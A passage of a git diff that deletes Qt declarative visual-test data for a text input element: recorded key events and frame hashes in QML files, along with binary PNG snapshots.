- key: 67 - modifiers: 0 - text: "63" - autorep: false - count: 1 - } - Frame { - msec: 864 - hash: "a4b81c526a5bf8902fde9b8721980977" - } - Frame { - msec: 880 - hash: "a4b81c526a5bf8902fde9b8721980977" - } - Frame { - msec: 896 - hash: "a4b81c526a5bf8902fde9b8721980977" - } - Key { - type: 7 - key: 67 - modifiers: 0 - text: "63" - autorep: false - count: 1 - } - Frame { - msec: 912 - hash: "a4b81c526a5bf8902fde9b8721980977" - } - Frame { - msec: 928 - hash: "a4b81c526a5bf8902fde9b8721980977" - } - Frame { - msec: 944 - hash: "a4b81c526a5bf8902fde9b8721980977" - } - Frame { - msec: 960 - image: "echoMode.0.png" - } - Frame { - msec: 976 - hash: "a4b81c526a5bf8902fde9b8721980977" - } - Key { - type: 6 - key: 75 - modifiers: 0 - text: "6b" - autorep: false - count: 1 - } - Frame { - msec: 992 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1008 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1024 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1040 - hash: "d072aebc2314a149a856634786b208a0" - } - Key { - type: 7 - key: 75 - modifiers: 0 - text: "6b" - autorep: false - count: 1 - } - Frame { - msec: 1056 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1072 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1088 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1104 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1120 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1136 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1152 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1168 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1184 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1200 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1216 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1232 - hash: "d072aebc2314a149a856634786b208a0" - } - Key { - type: 6 - key: 68 - modifiers: 0 - text: "64" - autorep: false - count: 1 - } - Frame { - msec: 1248 - hash: "94defec2865529f185d02cfcbfe166cc" - } - Frame { - msec: 1264 - hash: "94defec2865529f185d02cfcbfe166cc" - } - Frame { - msec: 1280 - hash: "94defec2865529f185d02cfcbfe166cc" - } - Key { - type: 7 - key: 68 - modifiers: 0 - text: "64" - autorep: false - count: 1 - } - Frame { - msec: 1296 - hash: "94defec2865529f185d02cfcbfe166cc" - } - Frame { - msec: 1312 - hash: "94defec2865529f185d02cfcbfe166cc" - } - Frame { - msec: 1328 - hash: "94defec2865529f185d02cfcbfe166cc" - } - Key { - type: 6 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 1344 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1360 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1376 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1392 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1408 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1424 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1440 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1456 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1472 - hash: "f625a2a82879df96141000e6931d4487" - } - Key { - type: 7 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 1488 - hash: "f625a2a82879df96141000e6931d4487" - } - Key { - type: 6 - key: 87 - modifiers: 0 - text: "77" - autorep: false - count: 1 - } - Frame { - msec: 1504 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1520 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1536 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1552 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Key { - type: 7 - key: 87 - modifiers: 0 - text: "77" - autorep: false - count: 1 - } - Frame { - msec: 1568 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1584 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1600 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1616 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1632 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1648 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 1664 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1680 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1696 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1712 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1728 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 1744 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 1760 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1776 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1792 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 1808 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1824 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1840 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1856 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Key { - type: 6 - key: 76 - modifiers: 0 - text: "6c" - autorep: false - count: 1 - } - Frame { - msec: 1872 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 1888 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 1904 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 1920 - image: "echoMode.1.png" - } - Key { - type: 7 - key: 76 - modifiers: 0 - text: "6c" - autorep: false - count: 1 - } - Frame { - msec: 1936 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 1952 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 1968 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 1984 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 2000 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 2016 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Key { - type: 6 - key: 79 - modifiers: 0 - text: "6f" - autorep: false - count: 1 - } - Frame { - msec: 2032 - hash: "c2aff1ebdee69cca7dc67a102fce5e8e" - } - Frame { - msec: 2048 - hash: "c2aff1ebdee69cca7dc67a102fce5e8e" - } - Key { - type: 7 - key: 79 - modifiers: 0 - text: "6f" - autorep: false - count: 1 - } - Frame { - msec: 2064 - hash: "c2aff1ebdee69cca7dc67a102fce5e8e" - } - Frame { - msec: 2080 - hash: "c2aff1ebdee69cca7dc67a102fce5e8e" - } - Key { - type: 6 - key: 86 - modifiers: 0 - text: "76" - autorep: false - count: 1 - } - Frame { - msec: 2096 - hash: "c82441813af6ff577687f29f6a09da38" - } - Frame { - msec: 2112 - hash: "c82441813af6ff577687f29f6a09da38" - } - Frame { - msec: 2128 - hash: "c82441813af6ff577687f29f6a09da38" - } - Frame { - msec: 2144 - hash: "c82441813af6ff577687f29f6a09da38" - } - Key { - type: 6 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Key { - type: 7 - key: 86 - modifiers: 0 - text: "76" - autorep: false - count: 1 - } - Frame { - msec: 2160 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2176 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2192 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2208 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 2224 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Key { - type: 7 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 2240 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2256 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2272 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2288 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2304 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 2320 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2336 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Key { - type: 6 - key: 77 - modifiers: 0 - text: "6d" - autorep: false - count: 1 - } - Frame { - msec: 2352 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2368 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2384 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2400 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2416 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2432 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Key { - type: 7 - key: 77 - modifiers: 0 - text: "6d" - autorep: false - count: 1 - } - Frame { - msec: 2448 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2464 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2480 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2496 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Key { - type: 6 - key: 89 - modifiers: 0 - text: "79" - autorep: false - count: 1 - } - Frame { - msec: 2512 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2528 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2544 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Key { - type: 7 - key: 89 - modifiers: 0 - text: "79" - autorep: false - count: 1 - } - Frame { - msec: 2560 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2576 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2592 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2608 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2624 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2640 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2656 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2672 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2688 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2704 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2720 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2736 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2752 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2768 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2784 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2800 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2816 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2832 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2848 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2864 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2880 - image: "echoMode.2.png" - } - Frame { - msec: 2896 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2912 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2928 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2944 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2960 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2976 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2992 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 3008 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 3024 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 3040 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 3056 - hash: "316f2ba46d059755576e6822dc77afb2" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/hAlign.0.png b/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/hAlign.0.png deleted file mode 100644 index 87c2e07..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/hAlign.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/hAlign.qml b/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/hAlign.qml deleted file mode 100644 index e29ac56..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextinput/data-X11/hAlign.qml +++ /dev/null @@ -1,107 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 32 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 48 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 64 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 80 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 96 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 112 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 128 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 144 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 160 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 176 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 192 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 208 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 224 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 240 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 256 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 272 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 288 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 304 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 320 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 336 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 352 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 368 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 384 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 400 - hash: "7619ed68aca3544f373777e11a4bfefa" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.0.png b/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.0.png deleted file mode 100644 index f04f65e..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.1.png b/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.1.png deleted file mode 100644 index 46a703a..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.2.png b/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.2.png deleted file mode 100644 index e4a3877..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.3.png b/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.3.png deleted file mode 100644 index 9ef842a..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.4.png b/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.4.png deleted file mode 100644 index 706e2b3..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.5.png b/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.5.png deleted file mode 100644 index bcc86cc..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.6.png b/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.6.png deleted file mode 100644 index 51ddd44..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.7.png b/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.7.png deleted file mode 100644 index 0a2fdda..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.8.png b/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.8.png deleted file mode 100644 index 9c88bff..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.qml deleted file mode 100644 index df2dd38..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextinput/data/cursorDelegate.qml +++ /dev/null @@ -1,3379 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 32 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 48 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 64 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 80 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 96 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 112 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 128 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 144 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 160 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 176 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 192 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 208 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 224 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 240 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 256 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 272 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 288 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 304 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 320 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 336 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 352 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 368 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 384 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 400 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 416 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 432 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 448 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 464 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 480 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 496 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Frame { - msec: 512 - hash: "cd442d6dc4d155f54ae24f03d080f50c" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 528 - hash: "56db24ad686d34e75a2d184e5b1da2a9" - } - Frame { - msec: 544 - hash: "c3487c7c7dcd392e7eacb74045dd4143" - } - Frame { - msec: 560 - hash: "70aedcda6c93875d18ee111d8a19549e" - } - Frame { - msec: 576 - hash: "47ad557d366536ad457f6866241dba93" - } - Frame { - msec: 592 - hash: "e715c2a82745829665226df78598b819" - } - Frame { - msec: 608 - hash: "2ff4bd5602c34c020162f0503d625049" - } - Frame { - msec: 624 - hash: "a494b3b25a23daa858034ebccce0d1c7" - } - Frame { - msec: 640 - hash: "59d2fb8e21802d256b11730b31919fb3" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 656 - hash: "5e09b95292d6d0afe76a5015b0ccebf1" - } - Frame { - msec: 672 - hash: "de3c911aec7e42557ece4bdcf02ce562" - } - Frame { - msec: 688 - hash: "680f51f63c4b11a247a668eb7bbd2b62" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 704 - hash: "9aa569f7b251371bdd1cb05c8d3aab28" - } - Frame { - msec: 720 - hash: "a242c9d5ed7f9aef0a0622dcb66d0a7e" - } - Frame { - msec: 736 - hash: "a0cb3f796fddf7100ca19aee3dedbea8" - } - Frame { - msec: 752 - hash: "b4e273b6415e3951eab2f831100b0bb2" - } - Frame { - msec: 768 - hash: "fd3fd655785c4e3c470f742451e3470f" - } - Frame { - msec: 784 - hash: "7a9b2057760e48d5f9cfdc79b08866d8" - } - Frame { - msec: 800 - hash: "2a55b52db02d97963d382c9862307384" - } - Frame { - msec: 816 - hash: "c6c90915393fc7cb0aaa464caefbadb0" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 832 - hash: "4f097223462c8f619188b0b0c2ecb080" - } - Frame { - msec: 848 - hash: "243be452ff0798538defc6a14cb8a08b" - } - Frame { - msec: 864 - hash: "e5472ed9a8a43a64a0fea12540619940" - } - Frame { - msec: 880 - hash: "90b0f5f1aa7b5f066fb1266ea63254eb" - } - Frame { - msec: 896 - hash: "97d5f9fe02e4bd06ec30a7805945f167" - } - Frame { - msec: 912 - hash: "eb381a1e2ad945e4cfa540c137edbda7" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 928 - hash: "75252ff61682fd32117f0759ebe4b6a1" - } - Frame { - msec: 944 - hash: "d724bdacc59bce29d0a42d72479be0b6" - } - Frame { - msec: 960 - image: "cursorDelegate.0.png" - } - Frame { - msec: 976 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 992 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 1008 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 1024 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 1040 - hash: "e3948b393a3778066a90197b31c71e51" - } - Frame { - msec: 1056 - hash: "e3948b393a3778066a90197b31c71e51" - } - Key { - type: 6 - key: 16777248 - modifiers: 33554432 - text: "" - autorep: false - count: 1 - } - Key { - type: 6 - key: 16777249 - modifiers: 100663296 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1072 - hash: "d7703c18b69f485bba3abd655100b50d" - } - Frame { - msec: 1088 - hash: "d724bdacc59bce29d0a42d72479be0b6" - } - Frame { - msec: 1104 - hash: "75252ff61682fd32117f0759ebe4b6a1" - } - Frame { - msec: 1120 - hash: "eb381a1e2ad945e4cfa540c137edbda7" - } - Frame { - msec: 1136 - hash: "97d5f9fe02e4bd06ec30a7805945f167" - } - Frame { - msec: 1152 - hash: "90b0f5f1aa7b5f066fb1266ea63254eb" - } - Frame { - msec: 1168 - hash: "e5472ed9a8a43a64a0fea12540619940" - } - Frame { - msec: 1184 - hash: "243be452ff0798538defc6a14cb8a08b" - } - Frame { - msec: 1200 - hash: "4f097223462c8f619188b0b0c2ecb080" - } - Frame { - msec: 1216 - hash: "e7346d8f223684143a0940def878b874" - } - Frame { - msec: 1232 - hash: "512b9746ae4482557b8cef9f99905954" - } - Frame { - msec: 1248 - hash: "4220dde85eb1c027366efd0798927e8d" - } - Frame { - msec: 1264 - hash: "54f7f94b5cdf1becb2ee61d7f6f02c0e" - } - Frame { - msec: 1280 - hash: "de09380dd57c58ae99fbdba169a19975" - } - Frame { - msec: 1296 - hash: "bfc1b03df244839a012e8302dc07764f" - } - Frame { - msec: 1312 - hash: "d5f220e5337837ec0d07eb118e2f948e" - } - Frame { - msec: 1328 - hash: "7640c78a286b0b7bdf2ec9117ceced4a" - } - Key { - type: 6 - key: 16777234 - modifiers: 100663296 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1344 - hash: "c659fd76d632aac26d396809b57826dd" - } - Frame { - msec: 1360 - hash: "b5ba335eca37416970dcab53157d7ae6" - } - Frame { - msec: 1376 - hash: "df498dac81260d8867221612ff3b7619" - } - Frame { - msec: 1392 - hash: "578c3a682278f4ead0ca894f029dbfb7" - } - Frame { - msec: 1408 - hash: "5fe9b2365b091047df1b18bcaa5b1bb4" - } - Frame { - msec: 1424 - hash: "c513b8df83f1d1cc3c05769c41741653" - } - Key { - type: 7 - key: 16777234 - modifiers: 100663296 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1440 - hash: "ee70a2002f52a3f4a9fa32db668db3d0" - } - Frame { - msec: 1456 - hash: "3f299da38c2f3f9057df987d5d339e1f" - } - Frame { - msec: 1472 - hash: "55f6adbd00910e5f39977162cfe8dcc5" - } - Frame { - msec: 1488 - hash: "151fb386855954ae5143046cab314ddf" - } - Frame { - msec: 1504 - hash: "d9ec76b2c07077b5b6d6c3777d116164" - } - Frame { - msec: 1520 - hash: "ef3ba6c27d9b28de829360985505c185" - } - Frame { - msec: 1536 - hash: "8eafd8f9aea08c172f40de3c4f2b3b59" - } - Frame { - msec: 1552 - hash: "2329d5b8182794bb8375f0de204c9b16" - } - Frame { - msec: 1568 - hash: "e6b25cf1a8c6858f6937e649b1315955" - } - Frame { - msec: 1584 - hash: "3aeedff600509a138b0de31e10bbdd7b" - } - Frame { - msec: 1600 - hash: "0636dee0ddc551ce8ecf3a6c6300b020" - } - Frame { - msec: 1616 - hash: "77f5b0dfdf0c631cf863be60bd09db9c" - } - Frame { - msec: 1632 - hash: "2e86762371ae933546e8b2154c78f74b" - } - Frame { - msec: 1648 - hash: "1051ec29f94c31b257a5b1c922f8e93f" - } - Key { - type: 6 - key: 16777236 - modifiers: 100663296 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1664 - hash: "5c60da876c8cc9fa334905b5fc7c2a3d" - } - Frame { - msec: 1680 - hash: "c0b0cddd62853ac3499b7ada200d206a" - } - Frame { - msec: 1696 - hash: "5bd588d64917f942e0f5ea1553acbf63" - } - Frame { - msec: 1712 - hash: "bc5744ef5c81b7d5b365bf977f909be5" - } - Key { - type: 7 - key: 16777236 - modifiers: 100663296 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1728 - hash: "892a1a8a5a9c198e5ae04cc19f0e1d0c" - } - Frame { - msec: 1744 - hash: "708799d2d834302c659958701e217b37" - } - Frame { - msec: 1760 - hash: "360d75bcc178bcfd4f93741d653fd821" - } - Frame { - msec: 1776 - hash: "1cfe03528b1cd84e69efc02b9677c748" - } - Frame { - msec: 1792 - 